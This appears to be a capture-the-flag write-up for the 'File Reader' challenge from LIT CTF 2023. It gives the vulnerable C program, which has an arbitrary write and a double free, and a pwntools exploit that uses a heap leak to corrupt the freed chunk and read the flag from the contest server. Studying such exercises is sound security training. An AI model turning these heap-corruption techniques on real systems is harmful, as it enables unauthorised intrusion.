🏸File Reader - LIT CTF 2023






Last updated






Last updated
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main() {
char *c = malloc(64);
char *d = malloc(64);
printf("%p\n", d);
unsigned long a = 0;
unsigned long b = 0;
free(c);
scanf("%lu", &a);
scanf("%lu", &b);
*((unsigned long *)a) = b;
puts("Exiting...");
free(c);
int fd = open("flag.txt", O_RDONLY);
d[read(fd, d, 64)-1] = 0;
puts(d);
free(d);
return 0;
}from pwn import *
elf = context.binary = ELF("./s")
r = elf.process()
r = remote("litctf.org", 31772)
# gdb.attach(r, '''
# b*main+188\n
# c
# ''')
heap_leak = int(r.recvline(),16)
chunk_c = heap_leak - 0x48
log.success(f"HEAP leak: {hex(heap_leak)} \nCHUNK2: {hex(chunk_c)}")
r.sendline(str(chunk_c))
r.sendline(b"AAAAAAAA")
r.interactive()